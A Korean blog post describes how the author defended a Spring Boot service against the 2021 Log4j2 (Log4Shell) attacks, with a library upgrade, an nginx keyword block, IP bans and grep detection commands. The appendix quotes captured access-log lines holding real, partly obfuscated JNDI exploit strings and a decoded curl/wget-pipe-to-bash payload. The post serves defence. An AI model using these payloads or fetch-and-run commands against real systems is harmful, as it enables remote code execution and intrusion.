요새 시끄러운 log4j2 공격… 요새 Log4J2 취약점 때문에 난리다. 사실 이 이슈가 알려진건 좀 되었다. (물론 일주일 전에 오픈된거로 알고 있긴 하지만…) 보안쪽은 이런 큰 문제가 터지면 바로 대응해야 한다. 조금만 늦게 대응하는 순간 비트코인 마냥 추락하는 거대한 손실을 껴안을 수 있다. 개발쪽은 역시 부지런해야 살아남는듯….
사설이 길었다. 이번 이슈에 대해서는 많은 사람이 적었기에 따로 언급은 안하겠다. 정 궁금하신 분은 이곳 KISA 에서 확인해보기 바란다.
나는 현재 개인적으로 돌리는 서비스가 있는데 Spring boot 기반으로 되어 있다. 저 이슈보자마자 바로 문제가 생기겠구나 싶어서 확인했다. 처리는 금방 했는데 블로그에는 좀 늦게 올리게 되었다.
어떻게 공격이 들어오는가? 일단 불법적으로 들어오는 것들을 조사하는 로그 서버에서 이런 결과가 들어있었다.
동작 방식은 사실 대충 알고, 자세하게 동작하는 방식은 popit 게시글을 참고하자. (여담인데 난 원리까진 모르고 어떻게만 공격해서 들어오는지 까지만 알기에… 공격 기법이나 원리에 대한 설명은 무지해서 적을 수 없다….)
내가 이해한 바로는 log.info 나 log.warn() 등을 통해 로깅을 할 때 메세지에 다음과 같이 적을 때 발생한다.
log.error(“Req Access UA : “ + req.getHeader(“X-Api-Version”) );
위는 예시이다. 저런식으로 로그를 남기게 해서 공격자의 코드를 수행할 수 있게 한다는거 같다
jandi:ldap://공격자-ip/http443path
위 사진을 보면 알겠지만 저렇게 ldap 뒤에 공격자의 주소를 넣어서 처리하는 식으로 들어온다.
그래서 어떻게 처리했는가? 뭐 별거 없다. 그냥 log4j 버전업을 했다. 사진을 못찍었는데 나의 경우 spring boot starter 의 logging 이었나 이게 2.11 버전을 쓰고 있었다.
그래서 그냥 버전을 올렸다.Gradle 을 사용하는데 아래와 같이 한줄 넣어줬다.
1 2 3 4 5 6 7 ... ext['log4j2.version'] = '2.15.0' dependencies { .... } ....
위와 같이 한줄 넣고 gradle을 새로 받아오니 log4j의 버전이 2.15로 되었다. 이렇게 대응이 완료되었다…. ㅡ,.ㅡ;;
그리고…이건 공격 대응이 될지 모르겠지만… nginx 앞단에서 특정 키워드로 접근하는 것을 막는 부분에 다음과 같이 추가해줬다.
1 2 3 ... ~*(j_spring_security_check|wps|cgi|asmx|jndi|dns|securityscan|ldap) 1; ...
이렇게 하면 서비스 접근 전에 nginx에서 컷 시킬수 있지 않을까 싶다. (안될수도?) 근데 이렇게 하니 로그 서버에 저런 비 정상적인 접근은 더 이상 들어오지 않았다.
단지 위와 같이 무지성으로 대입해서 들어오는 것들이 많을 뿐…
그리고 하단의 참고 항목을 보면 Cisco talos 차단 권고 항목에 ip가 있다. 여기에 등록된 ip 전부 밴 처리 해뒀다.
정리 및 참고 그리고 부록… 정리 근데 개인적인 생각인데 User Agent 를 로깅 안하면 영향은 없지 않을까? (개인적 무지성 판단….) 얼른 대응해서 큰 피해 안나게 조심하자…
참고 래브라도 취약점 점검 도구-한글 LG CNS의 차단 대응 및 안내 -한글 Spring 공식 레퍼런스 대응 -영문 Log4J 악용탐지-영문 Cisco talos 차단 권고-영문
부록 - 악용탐지 위의 참고 중에 악용 탐지 gist 항목을 보면…/var/log 폴더 및 모든 하위 폴더의 압축되지 않은 파일에서 악용 시도 에 대한 검색을 할 수 있는 grep 명령어를 제공한다.
한번 돌려봤다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 fuck-hack@ip-999-444-999-444:~$ sudo egrep -I -i -r '\$(\{|%7B)jndi:(ldap[s]?|rmi|dns|nis|iiop|corba|nds|http):/[^\n]+' /var/log /var/log/nginx/access.log.1:51.89.237.81 - - [13/Dec/2021:04:28:09 +0900] "GET /$%7Bjndi:ldap://79.172.214.11:1389/Basic/Command/Base64/Y3VybCAxMzUuMTI1LjIxNy44Ny9qbmRpLnNoIHwgYmFzaA==%7D HTTP/1.0" 404 162 "-" "mozila" /var/log/nginx/access.log.1:45.83.67.182 - - [13/Dec/2021:12:37:28 +0900] "GET /$%7Bjndi:dns://45.83.64.1/securityscan-http80%7D HTTP/1.1" 404 134 "${jndi:dns://45.83.64.1/securityscan-http80}" "${jndi:dns://45.83.64.1/securityscan-http80}" /var/log/nginx/access.log.1:45.83.66.117 - - [13/Dec/2021:12:51:02 +0900] "GET /$%7Bjndi:dns://45.83.64.1/securityscan-https443%7D HTTP/1.1" 302 0 "${jndi:dns://45.83.64.1/securityscan-https443}" "${jndi:dns://45.83.64.1/securityscan-https443}" /var/log/nginx/access.log.1:45.83.66.117 - - [13/Dec/2021:12:51:02 +0900] "GET / HTTP/1.1" 200 7587 "${jndi:dns://45.83.64.1/securityscan-https443}" "${jndi:dns://45.83.64.1/securityscan-https443}" /var/log/nginx/access.log.1:195.54.160.149 - - [13/Dec/2021:13:45:17 +0900] "GET /?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8zLjM2LjE1OS4yMDQ6ODB8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvMy4zNi4xNTkuMjA0OjgwKXxiYXNo} HTTP/1.1" 200 396 "${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8zLjM2LjE1OS4yMDQ6ODB8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvMy4zNi4xNTkuMjA0OjgwKXxiYXNo}" "${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8zLjM2LjE1OS4yMDQ6ODB8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvMy4zNi4xNTkuMjA0OjgwKXxiYXNo}" /var/log/nginx/access.log.1:167.172.44.255 - - [13/Dec/2021:20:45:05 +0900] "GET / HTTP/1.0" 200 612 "-" "borchuk/3.1 ${jndi:ldap://167.172.44.255:389/LegitimateJavaClass}" ===== fuck-hack@ip-999-444-999-444:~$ sudo find /var/log -name \*.gz -print0 | xargs -0 zgrep -E -i '\$(\{|%7B)jndi:(ldap[s]?|rmi|dns|nis|iiop|corba|nds|http):/[^\n]+' /var/log/nginx/access.log.3.gz:45.155.205.233 - - [11/Dec/2021:03:21:49 +0900] "GET / HTTP/1.1" 200 396 "-" "${jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8zLjM2LjE1OS4yMDQ6ODB8fHdnZXQgLXEgLU8tIDQ1LjE1NS4yMDUuMjMzOjU4NzQvMy4zNi4xNTkuMjA0OjgwKXxiYXNo}" /var/log/nginx/access.log.3.gz:1.116.59.211 - - [11/Dec/2021:19:13:15 +0900] "GET /${jndi:ldap://45.130.229.168:1389/Exploit} HTTP/1.1" 404 162 "-" "curl/7.58.0" /var/log/nginx/access.log.3.gz:195.251.41.139 - - [11/Dec/2021:21:13:15 +0900] "GET / HTTP/1.1" 200 396 "-" "/${jndi:ldap://45.130.229.168:1389/Exploit}" /var/log/nginx/access.log.2.gz:138.197.9.239 - - [12/Dec/2021:02:26:12 +0900] "GET / HTTP/1.1" 200 7417 "-" "${jndi:ldap://http443useragent.kryptoslogic-cve-2021-44228.com/http443useragent}" /var/log/nginx/access.log.2.gz:138.197.9.239 - - [12/Dec/2021:04:03:54 +0900] "GET /$%7Bjndi:ldap://http443path.kryptoslogic-cve-2021-44228.com/http443path%7D HTTP/1.1" 302 0 "-" "Kryptos Logic Telltale" /var/log/nginx/access.log.2.gz:138.197.9.239 - - [12/Dec/2021:04:03:54 +0900] "GET / HTTP/1.1" 200 7418 "https://3.36.159.204/$%7Bjndi:ldap://http443path.kryptoslogic-cve-2021-44228.com/http443path%7D" "Kryptos Logic Telltale" /var/log/nginx/access.log.2.gz:138.197.9.239 - - [12/Dec/2021:08:26:47 +0900] "GET / HTTP/1.1" 200 396 "-" "${jndi:ldap://http80useragent.kryptoslogic-cve-2021-44228.com/http80useragent}" /var/log/nginx/access.log.2.gz:138.197.9.239 - - [12/Dec/2021:09:42:21 +0900] "GET /$%7Bjndi:ldap://http80path.kryptoslogic-cve-2021-44228.com/http80path%7D HTTP/1.1" 404 134 "-" "Kryptos Logic Telltale" /var/log/nginx/access.log.2.gz:45.155.204.20 - - [12/Dec/2021:10:01:33 +0900] "GET /?x=${jndi:ldap://${hostName}.c6qjl3i5aulm7bb8ice0cg4wu5eyyek46.interactsh.com/a} HTTP/1.1" 400 800 "${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://${hostName}.c6qjl3i5aulm7bb8ice0cg4wu5eyyek46.interactsh.com}" "${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName}.c6qjl3i5aulm7bb8ice0cg4wu5eyyek46.interactsh.com}" /var/log/nginx/access.log.4.gz:114.254.20.186 - - [10/Dec/2021:02:36:55 +0900] "POST /?&token=$%7Bjndi:rmi://iswqeua.q.i.yunzhanghu.co:443/abc%7D&sign=$%7Bjndi:rmi://iswqeua.q.i.yunzhanghu.co:443/abc%7D&username=$%7Bjndi:rmi://iswqeua.q.i.yunzhanghu.co:443/abc%7D&password=$%7Bjndi:rmi://iswqeua.q.i.yunzhanghu.co:443/abc%7D&error=$%7Bjndi:rmi://iswqeua.q.i.yunzhanghu.co:443/abc%7D&apikey=$%7Bjndi:rmi://iswqeua.q.i.yunzhanghu.co:443/abc%7D&key=$%7Bjndi:rmi://iswqeua.q.i.yunzhanghu.co:443/abc%7D HTTP/1.1" 405 0 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" /var/log/nginx/access.log.4.gz:114.254.20.186 - - [10/Dec/2021:04:17:12 +0900] "POST /api?&token=$%7Bjndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc%7D&sign=$%7Bjndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc%7D&username=$%7Bjndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc%7D&password=$%7Bjndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc%7D&error=$%7Bjndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc%7D&apikey=$%7Bjndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc%7D&key=$%7Bjndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc%7D HTTP/1.1" 302 0 "-" "${jndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc}" /var/log/nginx/access.log.4.gz:114.254.20.186 - - [10/Dec/2021:04:17:12 +0900] "GET / HTTP/1.1" 200 7637 "-" "${jndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc}" /var/log/nginx/access.log.4.gz:114.254.20.186 - - [10/Dec/2021:04:17:12 +0900] "GET /api?&token=$%7Bjndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc%7D&sign=$%7Bjndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc%7D&username=$%7Bjndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc%7D&password=$%7Bjndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc%7D&error=$%7Bjndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc%7D&apikey=$%7Bjndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc%7D&key=$%7Bjndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc%7D HTTP/1.1" 302 0 "-" "${jndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc}" /var/log/nginx/access.log.4.gz:114.254.20.186 - - [10/Dec/2021:04:17:13 +0900] "GET / HTTP/1.1" 200 7635 "-" "${jndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc}" /var/log/nginx/access.log.4.gz:114.254.20.186 - - [10/Dec/2021:04:17:13 +0900] "PUT /api?&token=$%7Bjndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc%7D&sign=$%7Bjndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc%7D&username=$%7Bjndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc%7D&password=$%7Bjndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc%7D&error=$%7Bjndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc%7D&apikey=$%7Bjndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc%7D&key=$%7Bjndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc%7D HTTP/1.1" 302 0 "-" "${jndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc}" /var/log/nginx/access.log.4.gz:114.254.20.186 - - [10/Dec/2021:04:17:13 +0900] "GET / HTTP/1.1" 200 7635 "-" "${jndi:rmi://joavsim.r.i.yunzhanghu.co:443/abc}" /var/log/nginx/access.log.4.gz:45.155.205.233 - - [10/Dec/2021:22:31:20 +0900] "GET / HTTP/1.1" 200 396 "-" "${jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8zLjM2LjE1OS4yMDQ6ODB8fHdnZXQgLXEgLU8tIDQ1LjE1NS4yMDUuMjMzOjU4NzQvMy4zNi4xNTkuMjA0OjgwKXxiYXNo}" /var/log/nginx/access.log.4.gz:45.155.205.233 - - [10/Dec/2021:23:27:05 +0900] "GET / HTTP/1.1" 200 7669 "-" "${jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8zLjM2LjE1OS4yMDQ6NDQzfHx3Z2V0IC1xIC1PLSA0NS4xNTUuMjA1LjIzMzo1ODc0LzMuMzYuMTU5LjIwNDo0NDMpfGJhc2g=}" ==== fuck-hack@ip-999-444-999-444:~$ sudo find /var/log/ -type f -exec sh -c "cat {} | sed -e 's/\${lower://'g | tr -d '}' | egrep -I -i 'jndi:(ldap[s]?|rmi|dns|nis|iiop|corba|nds|http):'" \; 51.89.237.81 - - [13/Dec/2021:04:28:09 +0900] "GET /$%7Bjndi:ldap://79.172.214.11:1389/Basic/Command/Base64/Y3VybCAxMzUuMTI1LjIxNy44Ny9qbmRpLnNoIHwgYmFzaA==%7D HTTP/1.0" 404 162 "-" "mozila" 45.83.67.182 - - [13/Dec/2021:12:37:28 +0900] "GET /$%7Bjndi:dns://45.83.64.1/securityscan-http80%7D HTTP/1.1" 404 134 "${jndi:dns://45.83.64.1/securityscan-http80" "${jndi:dns://45.83.64.1/securityscan-http80" 45.83.66.117 - - [13/Dec/2021:12:51:02 +0900] "GET /$%7Bjndi:dns://45.83.64.1/securityscan-https443%7D HTTP/1.1" 302 0 "${jndi:dns://45.83.64.1/securityscan-https443" "${jndi:dns://45.83.64.1/securityscan-https443" 45.83.66.117 - - [13/Dec/2021:12:51:02 +0900] "GET / HTTP/1.1" 200 7587 "${jndi:dns://45.83.64.1/securityscan-https443" "${jndi:dns://45.83.64.1/securityscan-https443" 195.54.160.149 - - [13/Dec/2021:13:45:17 +0900] "GET /?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8zLjM2LjE1OS4yMDQ6ODB8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvMy4zNi4xNTkuMjA0OjgwKXxiYXNo HTTP/1.1" 200 396 "${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8zLjM2LjE1OS4yMDQ6ODB8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvMy4zNi4xNTkuMjA0OjgwKXxiYXNo" "${${::-j${::-n${::-d${::-i:${::-l${::-d${::-a${::-p://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8zLjM2LjE1OS4yMDQ6ODB8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvMy4zNi4xNTkuMjA0OjgwKXxiYXNo" 167.172.44.255 - - [13/Dec/2021:20:45:05 +0900] "GET / HTTP/1.0" 200 612 "-" "borchuk/3.1 ${jndi:ldap://167.172.44.255:389/LegitimateJavaClas
저기서 base64로 인코딩된 부분을 풀어보니
(curl -s 195.54.160.149:5874/3.36.159.204:80||wget -q -O- 195.54.160.149:5874/3.36.159.204:80)|bash
참고 url 중에 차단 권고에 나온 시도가 많았다. 조기에 발견해서 다행인거 같고…정말 침입시도가 무수했다… 모두 대응 처리를 해뒀다.
부록 - 래브라도 래브라도 에서 log4j 취약점 점검 도구를 제공하고 있다. 그런데 난 사용해도 이상하게 검출이 안되었다;;
사용법은 저기 나와있겠지만… 프로젝트 디렉토리를 난 해당 프로젝트의 root 디렉토리로 잡아보고, jar 파일만 있는 곳에서도 해봤는데 검출 결과가 0이었다. 그 때 2.11 사용했었는데… 아마 user agent를 다른 방식으로 기록해서 그런가… 무튼 정 찝찝하면 한번 돌려보는 것도 좋은 방법일듯…
부록 - IP 처리 LG CNS와 talos 글에 나온 ip를 차단하였다. 난 저 아이피에 class 대역 차단으로 더 막아뒀다.
171.25.193.0/24 185.220.0.0/16
이 두놈이 좀 많았다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 109.237.96.124 1; #log4j attacker 185.100.87.202 1; 213.164.204.146 1; 185.220.101.146 1; 171.25.193.20 1; 178.17.171.102 1; 45.155.205.233 1; 171.25.193.25 1; 171.25.193.77 1; 171.25.193.78 1; 182.220.100.242 1; 185.220.101.39 1; 18.27.197.252 1; 89.234.182.139 1; 104.244.79.6 1; 80.71.158.12 1; 45.137.155.55 1; 89.249.63.3 1; 61.19.25.207 1; 195.251.41.139 1; 131.100.148.7 1; 46.105.95.220 1; 170.210.45.163 1; 5.157.38.50 1; 114.112.161.155 1; 221.228.87.37 1; 191.232.38.25 1; 164.52.53.163 1; 45.130.229.168 1; 133.130.120.176 1; 152.89.239.12 1; 163.172.157.143 1; 205.185.115.217 1; #log4 attacker